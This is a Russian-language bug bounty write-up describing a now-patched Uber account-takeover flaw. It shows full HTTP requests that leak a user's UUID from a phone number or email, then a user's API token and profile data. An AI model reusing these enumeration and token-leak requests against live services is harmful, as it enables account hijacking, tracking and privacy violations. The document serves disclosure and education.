Uber Bug Bounty - Кража любого аккаунта

Uber Bug Bounty - Кража любого аккаунта

Moody

Привет.

Перед тем, как начать очередную историю, хочу напомнить, что все статьи о Bug Bounty публикуются в соответствии с политикой сервисов, на которых я нахожу уязвимости. Это значит, что на момент написания статей, все уязвимости не действительны. Вероятно, вы подумаете, что от них нет никакой практической пользы. Но это не так, вы можете в будущем использовать аналогичные техники из статей на других сайтах. Это ответ для тех, кто иногда упрекает меня по этому вопросу в ЛС.

Описанный в этой статье способ, чем - то напоминает https://techcrunch.com/2018/09/28/facebook-says-50-million-accounts-affected-by-account-takeover-bug/.

Немного об UBER

UBER - это американская международная компания из Калифорнии, штат Сан-Франциско. Позволяет заказывать дешёвое такси в крупных городах мира по ценам намного ниже рыночных. Работает в 785 мегаполисах по всему миру и, судя по отчету Bloomberg, оценивается более чем в 100 миллиардов долларов.

Немного об уязвимости

Пост посвящен уязвимости, позволяющей получать доступ к чужим аккаунтам пользователей UBER (включая райдеров и партнеров). Указав UUID жертвы в одном из запросов к API, утекал токен пользователя, благодаря которому можно было осуществлять управление его аккаунтом (отслеживать местоположение, совершать поездки и прочее).

Как это работает

Шаг первый - получаем UUID пользователя.

Вариант #1. По номеру телефона.

POST /p3/fleet-manager/\_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com
{“nationalPhoneNumber”:”92953xxxxx”,”countryCode”:”1"}

В ответе получим:

{
    “status”:”failure”,
    ”data”: {
        “code”:1009,
        ”message”:”Driver ‘47d063f8–0xx5e-xxxxx-b01a-xxxx’ not found”
        }
}

"r5lkh6zd–0h5t6-xxxxx-c2fq-xxxx" - UUID пользователя с номером телефона "92953xxxxx".

Вариант #2. По адресу электронной почты.

POST /p3/fleet-manager/\_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com
{“email”:”test@gmail.com”}

В ответе получим:

{
    “status”:”failure”,
    ”data”: {
        “code”:1009,
        ”message”:”Driver ‘hys2e6b1–2633–1612-3464–reysqz1amcsoqb’ not found”
    }
}

"hys2e6b1–2633–1612-3464–reysqz1amcsoqb" - UUID пользователя с адресом электронной почты "test@gmail.com".

Шаг второй - получаем информацию о пользователе.

Теперь, когда у нас есть UUID пользователя, осталось отправить ещё один запрос, чтобы получить о нем информацию. Выглядеть он будет так:

POST /marketplace/\_rpc?rpc=getConsentScreenDetails HTTP/1.1
Host: bonjour.uber.com
Connection: close
Content-Length: 67
Accept: application/json
Origin: [https://bonjour.uber.com](https://bonjour.uber.com)
x-csrf-token: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
DNT: 1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: xxxxx
{“language”:”en”,”userUuid”:”hys2e6b1–2633–1612-3464–reysqz1amcsoqb
”}

В ответе получаем ожидаемую информацию о пользователе, в том числе API токен, с помощью которого можно будет управлять аккаунтом.

{
   “status”:”success”,
   ”data”:{
      “data”:{
         “language”:”en”,
         ”userUuid”:”xxxxxx1e”
      },
      ”getUser”:{
         “uuid”:”cxxxxxc5f7371e”,
         ”firstname”:”Maxxxx”,
         ”lastname”:”XXXX”,
         ”role”:”PARTNER”,
         ”languageId”:1,
         ”countryId”:77,
         ”mobile”:null,
         ”mobileToken”:1234,
         ”mobileCountryId”:77,
         ”mobileCountryCode”:”+91",
         ”hasAmbiguousMobileCountry”:false,
         ”lastConfirmedMobileCountryId”:77,
         ”email”:”xxxx@gmail.com”,
         ”emailToken”:”xxxxxxxx”,
         ”hasConfirmedMobile”:”no”,
         ”hasOptedInSmsMarketing”:false,
         ”hasConfirmedEmail”:true,
         ”gratuity”:0.3,
         ”nickname”:”abc@gmail.com”,
         ”location”:”00000",
         ”banned”:false,
         ”cardio”:false,
         ”token”:”a8048kh4441zq4xxxxxx72d”,
         ”fraudScore”:0,
         ”inviterUuid”:null,
         ”pictureUrl”:”xxxxx.jpeg”,
         ”recentFareSplitterUuids”:[
            “xxx”
         ],
         ”lastSelectedPaymentProfileUuid”:”xxxxxx”,
         ”lastSelectedPaymentProfileGoogleWalletUuid”:null,
         ”inviteCode”:{
            “promotionCodeId”:xxxxx,
            ”promotionCodeUuid”:”xxxx”,
            ”promotionCode”:”manishas523",
            ”createdAt”:{
               “type”:”Buffer”,
               ”data”:[0,0,1,76,2,21,215,101]
            },
            ”updatedAt”:{
               “type”:”Buffer”,
               ”data”:[0,0,1,76,65,211,61,9]
            }
         },
         ”driverInfo”:{
            “contactinfo”:”999999999xx”,
            ”contactinfoCountryCode”:”+91",
            ”driverLicense”:”None”,
            ”firstDriverTripUuid”:null,
            ”iphone”:null,
            ”partnerUserUuid”:”xxxxxxx”,
            ”receiveSms”:true,
            ”twilioNumber”:null,
            ”twilioNumberFormatted”:null,
            ”cityknowledgeScore”:0,
            ”createdAt”:{
               “type”:”Buffer”,
               ”data”:[0,0,1,84,21,124,80,52]
            },
            ”updatedAt”:{
               “type”:”Buffer”,
               ”data”:[0,0,1,86,152,77,41,77]
            },
            ”deletedAt”:null,
            ”driverStatus”:”APPLIED”,
            ”driverFlowType”:”UBERX”,
            ”statusLocks”:null,
            ”contactinfoCountryIso2Code”:”KR”,
            ”driverEngagement”:null,
            ”courierEngagement”:null
         },
         ”partnerInfo”:{
            “address”:”Nxxxxxxx”,
            ”territoryUuid”:”xxxxxx”,
            ”company”:”None”,
            ”address2":”None”,
            ”cityId”:130,
            ”cityName”:”None”,
            ”firstPartnerTripUuid”:null,
            ”preferredCollectionPaymentProfileUuid”:null,
            ”phone”:””,
            ”phoneCountryCode”:”+91",
            ”state”:”None”,
            ”vatNumber”:”None”,
            ”zipcode”:”None”,
            ”createdAt”:{
               “type”:”Buffer”,
               ”data”:[0,0,1,84,21,124,80,52]
            },
            ”updatedAt”:{
               “type”:”Buffer”,
               ”data”:[0,0,1,101,38,177,88,137
               ]
            },
            ”deletedAt”:null,
            ”fleetTypes”:[

            ],
            ”fleetServices”:[

            ],
            ”isFleet”:true
         },
         ”analytics”:{
            “signupLat”:133.28741199,
            ”signupLng”:11177.1111,
            ”signupTerritoryUuid”:”xxxxx”,
            ”signupPromoId”:null,
            ”signupForm”:”iphone”,
            ”signupSessionId”:”xxxxxxx”,
            ”signupAppVersion”:”2.64.1",
            ”signupAttributionMethod”:null,
            ”createdAt”:{
               “type”:”Buffer”,
               ”data”:[0,0,1,76,2,21,219,1]
            },
            ”updatedAt”:{
               “type”:”Buffer”,
               ”data”:[0,0,1,76,2,21,219,1
               ]
            },
            ”signupCityId”:130,
            ”signupDeviceId”:null,
            ”signupReferralId”:null,
            ”signupPromoCode”:null,
            ”signupPromoCodeUuid”:null,
            ”signupPromoUuid”:null,
            ”signupMethod”:”REGULAR”
         },
         ”createdAt”:{
            “type”:”Buffer”,
            ”data”:[0,0,1,76,2,21,215,153]
         },
         ”updatedAt”:{
            “type”:”Buffer”,
            ”data”:[0,0,1,102,81,35,153,135]
         },
         ”deletedAt”:null,
         ”tenancy”:”uber/production”,
         ”mobileConfirmationStatus”:”MOBILE_NOT_CONFIRMED”,
         ”nationalId”:null,
         ”nationalIdType”:null,
         ”merchantLocation”:null,
         ”lastConfirmedMobile”:”xxxxxxxxxx”,
         ”requestedDeletionAt”:null,
         ”dateOfBirth”:xxxxxx,
         ”userTypes”:null,
         ”preferredName”:”xxxxxxxx”,
         ”freightInfo”:null,
         ”tempPictureUrl”:null,
         ”identityVerified”:null,
         ”paymentEntityType”:null,
         ”riderEngagement”:null,
         ”identityRejectReasonUuid”:null,
         ”genderInferred”:null,
         ”genderIdentity”:null,
         ”genderDocumented”:null,
         ”riderIneligibleWdw”:null,
         ”defaultPaymentProfileByProduct”:null,
         ”loginEligibility”:null
      },
      ”getDisclosureVersionUuid”:””,
      ”getLocaleCopy”:null
   }
}

https://t.me/cybred

Report Page